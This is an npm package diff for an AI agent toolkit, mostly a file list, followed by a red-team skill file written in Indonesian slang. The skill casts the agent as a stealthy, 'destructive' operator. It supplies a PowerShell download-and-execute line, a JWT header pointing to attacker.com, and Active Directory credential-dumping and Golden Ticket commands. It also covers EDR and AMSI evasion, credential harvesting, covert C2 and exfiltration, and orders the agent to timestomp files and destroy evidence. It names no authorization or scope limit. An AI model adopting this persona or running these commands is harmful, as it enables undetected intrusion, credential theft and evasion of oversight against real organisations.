d1337-kit 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (213) hide show
  1. package/.agent/.shared/ui-ux-pro-max/data/charts.csv +26 -0
  2. package/.agent/.shared/ui-ux-pro-max/data/colors.csv +97 -0
  3. package/.agent/.shared/ui-ux-pro-max/data/icons.csv +101 -0
  4. package/.agent/.shared/ui-ux-pro-max/data/landing.csv +31 -0
  5. package/.agent/.shared/ui-ux-pro-max/data/products.csv +97 -0
  6. package/.agent/.shared/ui-ux-pro-max/data/prompts.csv +24 -0
  7. package/.agent/.shared/ui-ux-pro-max/data/react-performance.csv +45 -0
  8. package/.agent/.shared/ui-ux-pro-max/data/stacks/flutter.csv +53 -0
  9. package/.agent/.shared/ui-ux-pro-max/data/stacks/html-tailwind.csv +56 -0
  10. package/.agent/.shared/ui-ux-pro-max/data/stacks/jetpack-compose.csv +53 -0
  11. package/.agent/.shared/ui-ux-pro-max/data/stacks/nextjs.csv +53 -0
  12. package/.agent/.shared/ui-ux-pro-max/data/stacks/nuxt-ui.csv +51 -0
  13. package/.agent/.shared/ui-ux-pro-max/data/stacks/nuxtjs.csv +59 -0
  14. package/.agent/.shared/ui-ux-pro-max/data/stacks/react-native.csv +52 -0
  15. package/.agent/.shared/ui-ux-pro-max/data/stacks/react.csv +54 -0
  16. package/.agent/.shared/ui-ux-pro-max/data/stacks/shadcn.csv +61 -0
  17. package/.agent/.shared/ui-ux-pro-max/data/stacks/svelte.csv +54 -0
  18. package/.agent/.shared/ui-ux-pro-max/data/stacks/swiftui.csv +51 -0
  19. package/.agent/.shared/ui-ux-pro-max/data/stacks/vue.csv +50 -0
  20. package/.agent/.shared/ui-ux-pro-max/data/styles.csv +59 -0
  21. package/.agent/.shared/ui-ux-pro-max/data/typography.csv +58 -0
  22. package/.agent/.shared/ui-ux-pro-max/data/ui-reasoning.csv +101 -0
  23. package/.agent/.shared/ui-ux-pro-max/data/ux-guidelines.csv +100 -0
  24. package/.agent/.shared/ui-ux-pro-max/data/web-interface.csv +31 -0
  25. package/.agent/.shared/ui-ux-pro-max/scripts/__pycache__/core.cpython-313.pyc +0 -0
  26. package/.agent/.shared/ui-ux-pro-max/scripts/__pycache__/design_system.cpython-313.pyc +0 -0
  27. package/.agent/.shared/ui-ux-pro-max/scripts/core.py +258 -0
  28. package/.agent/.shared/ui-ux-pro-max/scripts/design_system.py +1067 -0
  29. package/.agent/.shared/ui-ux-pro-max/scripts/search.py +106 -0
  30. package/.agent/ARCHITECTURE.md +288 -0
  31. package/.agent/agents/backend-specialist.md +240 -0
  32. package/.agent/agents/code-archaeologist.md +104 -0
  33. package/.agent/agents/database-architect.md +224 -0
  34. package/.agent/agents/debugger.md +225 -0
  35. package/.agent/agents/devops-engineer.md +238 -0
  36. package/.agent/agents/documentation-writer.md +102 -0
  37. package/.agent/agents/explorer-agent.md +76 -0
  38. package/.agent/agents/frontend-specialist.md +595 -0
  39. package/.agent/agents/game-developer.md +160 -0
  40. package/.agent/agents/mobile-developer.md +377 -0
  41. package/.agent/agents/orchestrator.md +418 -0
  42. package/.agent/agents/penetration-tester.md +370 -0
  43. package/.agent/agents/performance-optimizer.md +185 -0
  44. package/.agent/agents/product-manager.md +110 -0
  45. package/.agent/agents/product-owner.md +93 -0
  46. package/.agent/agents/project-planner.md +408 -0
  47. package/.agent/agents/qa-automation-engineer.md +101 -0
  48. package/.agent/agents/security-auditor.md +251 -0
  49. package/.agent/agents/seo-specialist.md +109 -0
  50. package/.agent/agents/test-engineer.md +156 -0
  51. package/.agent/mcp_config.json +25 -0
  52. package/.agent/modules/README.md +74 -0
  53. package/.agent/modules/installed/README.md +9 -0
  54. package/.agent/modules/module-template/SKILL.md +40 -0
  55. package/.agent/modules/module-template/scripts/README.md +11 -0
  56. package/.agent/modules/registry.md +34 -0
  57. package/.agent/rules/GEMINI.md +206 -0
  58. package/.agent/scripts/auto_preview.py +148 -0
  59. package/.agent/scripts/checklist.py +217 -0
  60. package/.agent/scripts/session_manager.py +120 -0
  61. package/.agent/scripts/verify_all.py +327 -0
  62. package/.agent/skills/api-patterns/SKILL.md +81 -0
  63. package/.agent/skills/api-patterns/api-style.md +42 -0
  64. package/.agent/skills/api-patterns/auth.md +24 -0
  65. package/.agent/skills/api-patterns/documentation.md +26 -0
  66. package/.agent/skills/api-patterns/graphql.md +41 -0
  67. package/.agent/skills/api-patterns/rate-limiting.md +31 -0
  68. package/.agent/skills/api-patterns/response.md +37 -0
  69. package/.agent/skills/api-patterns/rest.md +40 -0
  70. package/.agent/skills/api-patterns/scripts/api_validator.py +211 -0
  71. package/.agent/skills/api-patterns/security-testing.md +122 -0
  72. package/.agent/skills/api-patterns/trpc.md +41 -0
  73. package/.agent/skills/api-patterns/versioning.md +22 -0
  74. package/.agent/skills/app-builder/SKILL.md +75 -0
  75. package/.agent/skills/app-builder/agent-coordination.md +71 -0
  76. package/.agent/skills/app-builder/feature-building.md +53 -0
  77. package/.agent/skills/app-builder/project-detection.md +34 -0
  78. package/.agent/skills/app-builder/scaffolding.md +118 -0
  79. package/.agent/skills/app-builder/tech-stack.md +41 -0
  80. package/.agent/skills/app-builder/templates/SKILL.md +39 -0
  81. package/.agent/skills/app-builder/templates/astro-static/TEMPLATE.md +76 -0
  82. package/.agent/skills/app-builder/templates/chrome-extension/TEMPLATE.md +92 -0
  83. package/.agent/skills/app-builder/templates/cli-tool/TEMPLATE.md +88 -0
  84. package/.agent/skills/app-builder/templates/electron-desktop/TEMPLATE.md +88 -0
  85. package/.agent/skills/app-builder/templates/express-api/TEMPLATE.md +83 -0
  86. package/.agent/skills/app-builder/templates/flutter-app/TEMPLATE.md +90 -0
  87. package/.agent/skills/app-builder/templates/monorepo-turborepo/TEMPLATE.md +90 -0
  88. package/.agent/skills/app-builder/templates/nextjs-fullstack/TEMPLATE.md +122 -0
  89. package/.agent/skills/app-builder/templates/nextjs-saas/TEMPLATE.md +122 -0
  90. package/.agent/skills/app-builder/templates/nextjs-static/TEMPLATE.md +169 -0
  91. package/.agent/skills/app-builder/templates/nuxt-app/TEMPLATE.md +134 -0
  92. package/.agent/skills/app-builder/templates/python-fastapi/TEMPLATE.md +83 -0
  93. package/.agent/skills/app-builder/templates/react-native-app/TEMPLATE.md +119 -0
  94. package/.agent/skills/architecture/SKILL.md +55 -0
  95. package/.agent/skills/architecture/context-discovery.md +43 -0
  96. package/.agent/skills/architecture/examples.md +94 -0
  97. package/.agent/skills/architecture/pattern-selection.md +68 -0
  98. package/.agent/skills/architecture/patterns-reference.md +50 -0
  99. package/.agent/skills/architecture/trade-off-analysis.md +77 -0
  100. package/.agent/skills/bash-linux/SKILL.md +199 -0
  101. package/.agent/skills/behavioral-modes/SKILL.md +242 -0
  102. package/.agent/skills/brainstorming/SKILL.md +163 -0
  103. package/.agent/skills/brainstorming/dynamic-questioning.md +350 -0
  104. package/.agent/skills/clean-code/SKILL.md +201 -0
  105. package/.agent/skills/code-review-checklist/SKILL.md +109 -0
  106. package/.agent/skills/database-design/SKILL.md +52 -0
  107. package/.agent/skills/database-design/database-selection.md +43 -0
  108. package/.agent/skills/database-design/indexing.md +39 -0
  109. package/.agent/skills/database-design/migrations.md +48 -0
  110. package/.agent/skills/database-design/optimization.md +36 -0
  111. package/.agent/skills/database-design/orm-selection.md +30 -0
  112. package/.agent/skills/database-design/schema-design.md +56 -0
  113. package/.agent/skills/database-design/scripts/schema_validator.py +172 -0
  114. package/.agent/skills/deployment-procedures/SKILL.md +241 -0
  115. package/.agent/skills/doc.md +177 -0
  116. package/.agent/skills/documentation-templates/SKILL.md +194 -0
  117. package/.agent/skills/frontend-design/SKILL.md +452 -0
  118. package/.agent/skills/frontend-design/animation-guide.md +331 -0
  119. package/.agent/skills/frontend-design/color-system.md +311 -0
  120. package/.agent/skills/frontend-design/decision-trees.md +418 -0
  121. package/.agent/skills/frontend-design/motion-graphics.md +306 -0
  122. package/.agent/skills/frontend-design/scripts/accessibility_checker.py +183 -0
  123. package/.agent/skills/frontend-design/scripts/ux_audit.py +722 -0
  124. package/.agent/skills/frontend-design/typography-system.md +345 -0
  125. package/.agent/skills/frontend-design/ux-psychology.md +1116 -0
  126. package/.agent/skills/frontend-design/visual-effects.md +383 -0
  127. package/.agent/skills/game-development/2d-games/SKILL.md +119 -0
  128. package/.agent/skills/game-development/3d-games/SKILL.md +135 -0
  129. package/.agent/skills/game-development/SKILL.md +167 -0
  130. package/.agent/skills/game-development/game-art/SKILL.md +185 -0
  131. package/.agent/skills/game-development/game-audio/SKILL.md +190 -0
  132. package/.agent/skills/game-development/game-design/SKILL.md +129 -0
  133. package/.agent/skills/game-development/mobile-games/SKILL.md +108 -0
  134. package/.agent/skills/game-development/multiplayer/SKILL.md +132 -0
  135. package/.agent/skills/game-development/pc-games/SKILL.md +144 -0
  136. package/.agent/skills/game-development/vr-ar/SKILL.md +123 -0
  137. package/.agent/skills/game-development/web-games/SKILL.md +150 -0
  138. package/.agent/skills/geo-fundamentals/SKILL.md +156 -0
  139. package/.agent/skills/geo-fundamentals/scripts/geo_checker.py +289 -0
  140. package/.agent/skills/i18n-localization/SKILL.md +154 -0
  141. package/.agent/skills/i18n-localization/scripts/i18n_checker.py +241 -0
  142. package/.agent/skills/intelligent-routing/SKILL.md +335 -0
  143. package/.agent/skills/lint-and-validate/SKILL.md +45 -0
  144. package/.agent/skills/lint-and-validate/scripts/lint_runner.py +184 -0
  145. package/.agent/skills/lint-and-validate/scripts/type_coverage.py +173 -0
  146. package/.agent/skills/mcp-builder/SKILL.md +176 -0
  147. package/.agent/skills/mobile-design/SKILL.md +394 -0
  148. package/.agent/skills/mobile-design/decision-trees.md +516 -0
  149. package/.agent/skills/mobile-design/mobile-backend.md +491 -0
  150. package/.agent/skills/mobile-design/mobile-color-system.md +420 -0
  151. package/.agent/skills/mobile-design/mobile-debugging.md +122 -0
  152. package/.agent/skills/mobile-design/mobile-design-thinking.md +357 -0
  153. package/.agent/skills/mobile-design/mobile-navigation.md +458 -0
  154. package/.agent/skills/mobile-design/mobile-performance.md +767 -0
  155. package/.agent/skills/mobile-design/mobile-testing.md +356 -0
  156. package/.agent/skills/mobile-design/mobile-typography.md +433 -0
  157. package/.agent/skills/mobile-design/platform-android.md +666 -0
  158. package/.agent/skills/mobile-design/platform-ios.md +561 -0
  159. package/.agent/skills/mobile-design/scripts/mobile_audit.py +670 -0
  160. package/.agent/skills/mobile-design/touch-psychology.md +537 -0
  161. package/.agent/skills/nextjs-react-expert/1-async-eliminating-waterfalls.md +351 -0
  162. package/.agent/skills/nextjs-react-expert/2-bundle-bundle-size-optimization.md +240 -0
  163. package/.agent/skills/nextjs-react-expert/3-server-server-side-performance.md +490 -0
  164. package/.agent/skills/nextjs-react-expert/4-client-client-side-data-fetching.md +264 -0
  165. package/.agent/skills/nextjs-react-expert/5-rerender-re-render-optimization.md +581 -0
  166. package/.agent/skills/nextjs-react-expert/6-rendering-rendering-performance.md +432 -0
  167. package/.agent/skills/nextjs-react-expert/7-js-javascript-performance.md +684 -0
  168. package/.agent/skills/nextjs-react-expert/8-advanced-advanced-patterns.md +150 -0
  169. package/.agent/skills/nextjs-react-expert/9-cache-components.md +103 -0
  170. package/.agent/skills/nextjs-react-expert/SKILL.md +293 -0
  171. package/.agent/skills/nextjs-react-expert/scripts/convert_rules.py +222 -0
  172. package/.agent/skills/nextjs-react-expert/scripts/react_performance_checker.py +252 -0
  173. package/.agent/skills/nodejs-best-practices/SKILL.md +333 -0
  174. package/.agent/skills/parallel-agents/SKILL.md +175 -0
  175. package/.agent/skills/performance-profiling/SKILL.md +143 -0
  176. package/.agent/skills/performance-profiling/scripts/lighthouse_audit.py +76 -0
  177. package/.agent/skills/plan-writing/SKILL.md +152 -0
  178. package/.agent/skills/powershell-windows/SKILL.md +167 -0
  179. package/.agent/skills/python-patterns/SKILL.md +441 -0
  180. package/.agent/skills/red-team-tactics/SKILL.md +388 -0
  181. package/.agent/skills/rust-pro/SKILL.md +176 -0
  182. package/.agent/skills/seo-fundamentals/SKILL.md +129 -0
  183. package/.agent/skills/seo-fundamentals/scripts/seo_checker.py +219 -0
  184. package/.agent/skills/server-management/SKILL.md +161 -0
  185. package/.agent/skills/systematic-debugging/SKILL.md +109 -0
  186. package/.agent/skills/tailwind-patterns/SKILL.md +269 -0
  187. package/.agent/skills/tdd-workflow/SKILL.md +149 -0
  188. package/.agent/skills/testing-patterns/SKILL.md +178 -0
  189. package/.agent/skills/testing-patterns/scripts/test_runner.py +219 -0
  190. package/.agent/skills/vulnerability-scanner/SKILL.md +276 -0
  191. package/.agent/skills/vulnerability-scanner/checklists.md +121 -0
  192. package/.agent/skills/vulnerability-scanner/scripts/security_scan.py +458 -0
  193. package/.agent/skills/web-design-guidelines/SKILL.md +57 -0
  194. package/.agent/skills/webapp-testing/SKILL.md +187 -0
  195. package/.agent/skills/webapp-testing/scripts/playwright_runner.py +173 -0
  196. package/.agent/workflows/brainstorm.md +113 -0
  197. package/.agent/workflows/create.md +59 -0
  198. package/.agent/workflows/cve-intel.md +84 -0
  199. package/.agent/workflows/debug.md +103 -0
  200. package/.agent/workflows/deploy.md +176 -0
  201. package/.agent/workflows/enhance.md +63 -0
  202. package/.agent/workflows/orchestrate.md +237 -0
  203. package/.agent/workflows/plan.md +89 -0
  204. package/.agent/workflows/preview.md +81 -0
  205. package/.agent/workflows/recon.md +116 -0
  206. package/.agent/workflows/scan.md +107 -0
  207. package/.agent/workflows/status.md +86 -0
  208. package/.agent/workflows/test.md +144 -0
  209. package/.agent/workflows/ui-ux-pro-max.md +296 -0
  210. package/LICENSE +21 -0
  211. package/README.md +146 -0
  212. package/bin/d1337-init.js +236 -0
  213. package/package.json +31 -0
@@ -0,0 +1,388 @@
1
+ ---
2
+ name: red-team-tactics
3
+ description: Elite red team tactics — MITRE ATT&CK, EDR/XDR evasion, fileless attacks, stealth C2, advanced persistence. LEVEL DI ATAS CrowdStrike dan AI korporat.
4
+ allowed-tools: Read, Glob, Grep
5
+ ---
6
+
7
+ # Red Team Tactics — D1337 Elite Tradecraft
8
+
9
+ > "Lu bukan user SQLMap. Lu OPERATOR. Stealth, precision, persistence. Invisible kayak hantu, destructive kayak bom nuklir."
10
+
11
+ ---
12
+
13
+ ## 1. MITRE ATT&CK Lifecycle
14
+
15
+ ```
16
+ RECON → WEAPONIZE → DELIVER → EXPLOIT → INSTALL → C2 → ACT ON OBJECTIVES
17
+ ↓ ↓ ↓ ↓ ↓ ↓ ↓
18
+ OSINT Payload Phish/ RCE/LPE Persist Stealth Exfil/
19
+ API Craft Exploit Chain +Evade Channel Impact
20
+ Intel Obfusc Supply Destroy
21
+ ```
22
+
23
+ ---
24
+
25
+ ## 2. RECONNAISSANCE — INTELLIGENCE, BUKAN SCANNING
26
+
27
+ ### Level 1: Passive OSINT (ZERO NOISE)
28
+
29
+ | Target | Teknik | Gak Pake |
30
+ |--------|--------|----------|
31
+ | **Subdomains** | CT logs, DNS passive, Wayback | ~~nmap -sV~~ |
32
+ | **Employees** | LinkedIn scrape, GitHub dorks, email patterns | ~~theHarvester~~ basic mode |
33
+ | **Leaked Creds** | IntelX API, Dehashed API, breach DBs | ~~haveibeenpwned web~~ |
34
+ | **Tech Stack** | JavaScript analysis, response fingerprint, Wappalyzer | ~~whatweb verbose~~ |
35
+ | **Cloud Assets** | S3 bucket enum, Azure blob, GCP storage | Manual recon |
36
+
37
+ ### Level 2: Active Recon (LOW NOISE)
38
+
39
+ ```bash
40
+ # Subdomain enum — passive first
41
+ subfinder -d TARGET -silent | httpx -silent -status-code -tech-detect
42
+
43
+ # Port scan — SYN only, no service detect yet
44
+ masscan -p1-65535 TARGET --rate=1000 -oJ scan.json
45
+
46
+ # Web recon — silent, no brute
47
+ katana -u https://TARGET -silent -jc -d 3
48
+
49
+ # API discovery — endpoint mining
50
+ # Analisis JavaScript files buat endpoint patterns
51
+ ```
52
+
53
+ ### Level 3: Targeted Enrichment (SecurityTrails + API)
54
+
55
+ ```bash
56
+ # DNS history — cari origin IP di belakang CDN
57
+ curl -s "https://api.securitytrails.com/v1/history/TARGET/dns/a" \
58
+ -H "apikey: $KEY" | jq '.records[].values[].ip'
59
+
60
+ # Subdomain expansion
61
+ curl -s "https://api.securitytrails.com/v1/domain/TARGET/subdomains" \
62
+ -H "apikey: $KEY" | jq -r '.subdomains[]' | sed "s/$/.TARGET/"
63
+
64
+ # Associated domains — reverse IP
65
+ curl -s "https://api.securitytrails.com/v1/domain/TARGET/associated" \
66
+ -H "apikey: $KEY"
67
+ ```
68
+
69
+ ---
70
+
71
+ ## 3. INITIAL ACCESS — BEYOND PHISHING
72
+
73
+ ### Web Exploit Chains
74
+
75
+ | Technique | Complexity | Detection Risk |
76
+ |-----------|-----------|----------------|
77
+ | **Deserialization RCE** (Java/PHP/.NET) | Medium | Low — looks like normal POST |
78
+ | **SSTI → RCE** (Jinja2/Twig/Freemarker) | Medium | Low — template rendering |
79
+ | **Race Condition → Priv Esc** | High | Very Low — timing-based |
80
+ | **HTTP Request Smuggling** | High | Very Low — protocol-level |
81
+ | **Prototype Pollution → RCE** (Node.js) | Medium | Low — JSON manipulation |
82
+ | **GraphQL Batching Attack** | Low | Very Low — looks normal |
83
+ | **WebSocket Hijacking** | Medium | Low — upgrade protocol |
84
+
85
+ ### Auth Bypass Arsenal
86
+
87
+ ```
88
+ # JWT advanced
89
+ 1. Kid header injection → SQL injection via kid
90
+ {"kid": "key1' UNION SELECT 'secret' --", "alg": "HS256"}
91
+
92
+ 2. JKU/X5U header hijack → Host attacker JWKS
93
+ {"jku": "https://attacker.com/.well-known/jwks.json"}
94
+
95
+ 3. JWT embedded key → Self-signed token
96
+ Embed public key in JWT header, sign with matching private key
97
+
98
+ # OAuth abuse
99
+ 1. redirect_uri open redirect → Token theft
100
+ 2. State parameter missing → CSRF → Account takeover
101
+ 3. Scope escalation → Request higher privileges
102
+ 4. Token exchange confusion → Cross-client token usage
103
+
104
+ # Session attacks
105
+ 1. Session fixation pre-login → Inject session before auth
106
+ 2. Concurrent session race → Generate parallel sessions
107
+ 3. Session puzzle → Combine multiple session fragments
108
+ ```
109
+
110
+ ---
111
+
112
+ ## 4. DEFENSE EVASION — LEVEL DI ATAS CROWDSTRIKE
113
+
114
+ ### AMSI Bypass (Windows)
115
+
116
+ ```powershell
117
+ # Patch AMSI in-memory — CrowdStrike/Defender blind
118
+ # Technique: Patch AmsiScanBuffer to always return clean
119
+ # NOTE: Method berubah tiap bulan — WAJIB search_web terbaru
120
+
121
+ # search_web: "AMSI bypass 2025 latest technique"
122
+ # search_web: "AmsiScanBuffer patch powershell 2025"
123
+ # search_web: "AMSI bypass ETW patch"
124
+ ```
125
+
126
+ ### ETW Bypass (Event Tracing)
127
+
128
+ ```
129
+ # Blind EDR dari event tracing
130
+ # Patch EtwEventWrite di ntdll.dll → EDR gak dapet telemetry
131
+
132
+ # Latest techniques:
133
+ # search_web: "ETW bypass 2025 CrowdStrike"
134
+ # search_web: "ETW blind EDR technique"
135
+ ```
136
+
137
+ ### Living-off-the-Land (LOLBins)
138
+
139
+ | Binary | Fungsi | Stealth Level |
140
+ |--------|--------|---------------|
141
+ | `certutil` | Download, encode/decode, hash | ⭐⭐⭐ |
142
+ | `mshta` | Execute HTA/JS remotely | ⭐⭐⭐ |
143
+ | `rundll32` | Execute DLL functions | ⭐⭐⭐⭐ |
144
+ | `regsvr32` | Execute COM scriptlets remotely | ⭐⭐⭐⭐ |
145
+ | `msbuild` | Execute inline C# tasks | ⭐⭐⭐⭐⭐ |
146
+ | `installutil` | Execute .NET assembly bypass | ⭐⭐⭐⭐⭐ |
147
+ | `cmstp` | Execute INF-based scripts | ⭐⭐⭐⭐⭐ |
148
+ | `wmic` | Remote exec, process creation | ⭐⭐⭐ |
149
+ | `forfiles` | Indirect command execution | ⭐⭐⭐⭐ |
150
+ | `pcalua` | Program Compatibility Assistant exec | ⭐⭐⭐⭐⭐ |
151
+
152
+ ### Fileless Attack Patterns
153
+
154
+ ```
155
+ 1. PowerShell download-execute (in-memory only)
156
+ IEX(New-Object Net.WebClient).DownloadString('https://...')
157
+
158
+ 2. .NET Assembly reflection loading
159
+ [System.Reflection.Assembly]::Load($bytes)
160
+
161
+ 3. WMI event subscription persistence
162
+ CREATE → EventFilter → EventConsumer → Binding
163
+
164
+ 4. Registry-based payload storage
165
+ Store shellcode in registry → Read and execute in-memory
166
+
167
+ 5. Process hollowing / injection
168
+ CreateProcess(SUSPENDED) → WriteProcessMemory → ResumeThread
169
+ ```
170
+
171
+ ### EDR Evasion Checklist
172
+
173
+ | EDR Feature | Bypass Technique |
174
+ |-------------|-----------------|
175
+ | **Userland hooking** | Direct syscalls (SysWhispers3, HellsGate) |
176
+ | **AMSI** | In-memory patching, obfuscation, reflection |
177
+ | **ETW** | Patch EtwEventWrite, unhook ntdll |
178
+ | **Kernel callbacks** | Driver vuln exploitation, callback removal |
179
+ | **Behavioral analysis** | Sleep obfuscation, API call delays |
180
+ | **Memory scanning** | Encrypt payload in memory, only decrypt on execution |
181
+ | **Network monitoring** | Domain fronting, DNS over HTTPS, legitimate services |
182
+ | **Process tree** | Parent PID spoofing, PPID manipulation |
183
+
184
+ ---
185
+
186
+ ## 5. PRIVILEGE ESCALATION — BEYOND LINPEAS
187
+
188
+ ### Windows Advanced
189
+
190
+ | Technique | Detection Risk | Prerequisite |
191
+ |-----------|---------------|--------------|
192
+ | **Potato attacks** (Sweet/Rotten/Juicy/God) | Low | Service account with SeImpersonate |
193
+ | **PrintSpoofer** | Low | SeImpersonate privilege |
194
+ | **KrbRelayUp** | Very Low | Domain-joined, LDAP signing disabled |
195
+ | **Certifried** (CVE-2022-26923) | Very Low | AD CS misconfiguration |
196
+ | **Shadow Credentials** | Very Low | Write to msDS-KeyCredentialLink |
197
+ | **RBCD abuse** | Very Low | Write to msDS-AllowedToActOnBehalfOf |
198
+ | **DPAPI abuse** | Very Low | Access to DPAPI blobs |
199
+ | **Token manipulation** | Medium | SeDebugPrivilege |
200
+ | **Named pipe impersonation** | Low | CreateNamedPipe access |
201
+
202
+ ### Linux Advanced
203
+
204
+ | Technique | Detection Risk | Prerequisite |
205
+ |-----------|---------------|--------------|
206
+ | **Dirty Pipe** (CVE-2022-0847) | Very Low | Kernel < 5.16.11 |
207
+ | **PwnKit** (CVE-2021-4034) | Very Low | pkexec with SUID |
208
+ | **Looney Tunables** (CVE-2023-4911) | Very Low | glibc vuln |
209
+ | **OverlayFS privesc** | Very Low | Kernel module available |
210
+ | **Docker escape** (container runtime) | Low | Privileged container or miscfg |
211
+ | **CAP_SYS_PTRACE abuse** | Low | Capability set on process |
212
+ | **LD_PRELOAD injection** | Low | Writable env + SUID |
213
+ | **Cron wildcard injection** | Very Low | Cron with tar/rsync wildcards |
214
+
215
+ ---
216
+
217
+ ## 6. LATERAL MOVEMENT — STEALTHY
218
+
219
+ ### Windows Domain
220
+
221
+ | Technique | Noise Level | Tool |
222
+ |-----------|------------|------|
223
+ | **Overpass-the-Hash** | Low | Rubeus, mimikatz |
224
+ | **Pass-the-Certificate** | Very Low | Certipy, PKINIT |
225
+ | **Shadow Move** (reuse sockets) | Very Low | Custom |
226
+ | **DCOM lateral exec** | Low | impacket |
227
+ | **WinRM + JEA bypass** | Low | Evil-WinRM |
228
+ | **SSH hijacking** (agent forwarding) | Very Low | ControlMaster |
229
+ | **RDP session hijacking** | Medium | tscon |
230
+
231
+ ### Linux/Cloud
232
+
233
+ | Technique | Noise Level | Tool |
234
+ |-----------|------------|------|
235
+ | **SSH key harvesting** | Very Low | find / grep |
236
+ | **Agent forwarding hijack** | Very Low | SSH_AUTH_SOCK |
237
+ | **Ansible vault decrypt** | Very Low | ansible-vault |
238
+ | **Kubernetes RBAC abuse** | Low | kubectl |
239
+ | **Cloud IAM escalation** | Very Low | Cloud-specific tools |
240
+ | **SSRF → Cloud metadata** | Very Low | 169.254.169.254 |
241
+
242
+ ---
243
+
244
+ ## 7. ACTIVE DIRECTORY — DOMAIN DOMINANCE
245
+
246
+ ### Attack Chain: User → Domain Admin
247
+
248
+ ```
249
+ 1. AS-REP Roast → Get hash tanpa pre-auth
250
+ GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
251
+
252
+ 2. Kerberoast → Crack service account hash
253
+ GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
254
+
255
+ 3. Delegation abuse → Constrained/Unconstrained
256
+ findDelegation.py DOMAIN/user:pass -dc-ip DC_IP
257
+
258
+ 4. ACL abuse → WriteDACL, GenericAll, ForceChangePassword
259
+ bloodhound-python → identify shortest path to DA
260
+
261
+ 5. DCSync → Dump semua hash tanpa touch DC filesystem
262
+ secretsdump.py DOMAIN/admin:pass@DC_IP -just-dc
263
+
264
+ 6. Golden Ticket → Persistent domain access
265
+ ticketer.py -nthash KRBTGT_HASH -domain DOMAIN -domain-sid SID admin
266
+ ```
267
+
268
+ ### AD CS (Active Directory Certificate Services) Attacks
269
+
270
+ ```
271
+ # ESC1 — Enrollee supplies subject
272
+ certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -vulnerable
273
+
274
+ # ESC4 — Template ACL misconfiguration
275
+ certipy template -u user@DOMAIN -p pass -template VulnTemplate
276
+
277
+ # ESC8 — NTLM relay to HTTP enrollment
278
+ ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support
279
+ ```
280
+
281
+ ---
282
+
283
+ ## 8. COMMAND & CONTROL — STEALTH CHANNELS
284
+
285
+ ### C2 Evasion Techniques
286
+
287
+ | Technique | Detection Risk | Description |
288
+ |-----------|---------------|-------------|
289
+ | **Domain fronting** | Very Low | Hide C2 behind CDN (Cloudflare, AWS) |
290
+ | **DNS tunneling** | Low | Exfil via DNS queries |
291
+ | **DoH/DoT** | Very Low | C2 over DNS-over-HTTPS |
292
+ | **WebSocket C2** | Low | Persistent connection, looks legit |
293
+ | **Slack/Teams/Discord C2** | Very Low | Abuse legitimate services |
294
+ | **Cloud storage C2** | Very Low | Dropbox/OneDrive/GDrive API |
295
+ | **Steganography** | Very Low | Hide data in images |
296
+
297
+ ### C2 OPSEC Rules
298
+
299
+ ```
300
+ WAJIB:
301
+ ├── Encrypted traffic (TLS 1.3 minimum)
302
+ ├── Jitter pada callback intervals (random delay)
303
+ ├── User-agent rotation (mimic real browsers)
304
+ ├── Kill date pada implant (auto-destruct)
305
+ ├── Anti-sandbox checks (detect VMs/analysis)
306
+ ├── Process injection ke legitimate process
307
+ └── Gak pake port yang mencurigakan
308
+
309
+ JANGAN:
310
+ ├── C2 langsung ke IP (pakai domain fronting)
311
+ ├── Callback interval tetap (pasti ke-detect)
312
+ ├── Default user-agent dari framework
313
+ ├── Reverse shell plain TCP/UDP
314
+ └── Beacon terlalu sering (noise)
315
+ ```
316
+
317
+ ---
318
+
319
+ ## 9. POST-EXPLOITATION — DATA COLLECTION
320
+
321
+ ### Credential Harvesting
322
+
323
+ | Target | Technique | Tool |
324
+ |--------|-----------|------|
325
+ | **LSASS** | MiniDump → offline extract | comsvcs.dll, ProcDump |
326
+ | **SAM/SYSTEM** | Registry save → offline crack | reg save, secretsdump |
327
+ | **DPAPI** | Decrypt browser/WiFi/vault | SharpDPAPI, mimikatz |
328
+ | **Kerberos** | Ticket extraction → pass-the-ticket | Rubeus, ticketer |
329
+ | **SSH keys** | Harvest from ~/.ssh/ | find, scp |
330
+ | **Cloud tokens** | AWS/Azure/GCP metadata | IMDSv2, az cli |
331
+ | **Browser creds** | Chrome/Firefox/Edge SQLite | SharpChromium |
332
+ | **Vault/KeePass** | Memory dump → extract | keepass-dump, vault-extract |
333
+
334
+ ### Data Exfiltration
335
+
336
+ | Channel | Detection Risk | Speed |
337
+ |---------|---------------|-------|
338
+ | DNS tunneling | Low | Slow |
339
+ | HTTPS POST | Medium | Fast |
340
+ | Cloud storage API | Very Low | Fast |
341
+ | Steganography | Very Low | Slow |
342
+ | Encrypted email | Low | Medium |
343
+ | WebSocket | Low | Fast |
344
+
345
+ ---
346
+
347
+ ## 10. OPSEC COMMANDMENTS
348
+
349
+ ```
350
+ 1. JANGAN tinggalkan artifacts — cleanup setiap operasi
351
+ 2. JANGAN pakai tool default signature — customize payloads
352
+ 3. JANGAN scan dari IP asli — pakai pivot/proxy chains
353
+ 4. JANGAN brute force tanpa intel — targeted attacks only
354
+ 5. JANGAN execute di disk — in-memory execution ONLY
355
+ 6. JANGAN ignore timestamps — timestomp semua file yang disentuh
356
+ 7. JANGAN pakai clear text — encrypt SEMUA komunikasi
357
+ 8. WAJIB punya kill switch — bisa nuke semua bukti instant
358
+ 9. WAJIB monitor defender — tau kapan di-detect
359
+ 10. WAJIB ada fallback C2 — primary compromised = switch channel
360
+ ```
361
+
362
+ ---
363
+
364
+ ## 11. RESEARCH PROTOCOL
365
+
366
+ **SEBELUM setiap engagement:**
367
+
368
+ ```bash
369
+ # 1. Latest CVE buat target tech
370
+ search_web: "$TECH CVE 2025 RCE exploit PoC"
371
+
372
+ # 2. Latest EDR bypass
373
+ search_web: "CrowdStrike bypass 2025"
374
+ search_web: "Defender ATP evasion 2025"
375
+ search_web: "$EDR_NAME bypass latest technique"
376
+
377
+ # 3. Latest tools
378
+ search_web: "$TECHNIQUE 2025 tool github"
379
+
380
+ # 4. Cross-reference minimal 3 sumber
381
+ # NVD + GitHub + exploit-db/sploitus
382
+ ```
383
+
384
+ > 🔴 **Method yang udah di-patch = USELESS. Riset yang TERBARU. Lu D1337 — BUKAN script kiddie yang pake tutorial YouTube 2020.**
385
+
386
+ ---
387
+
388
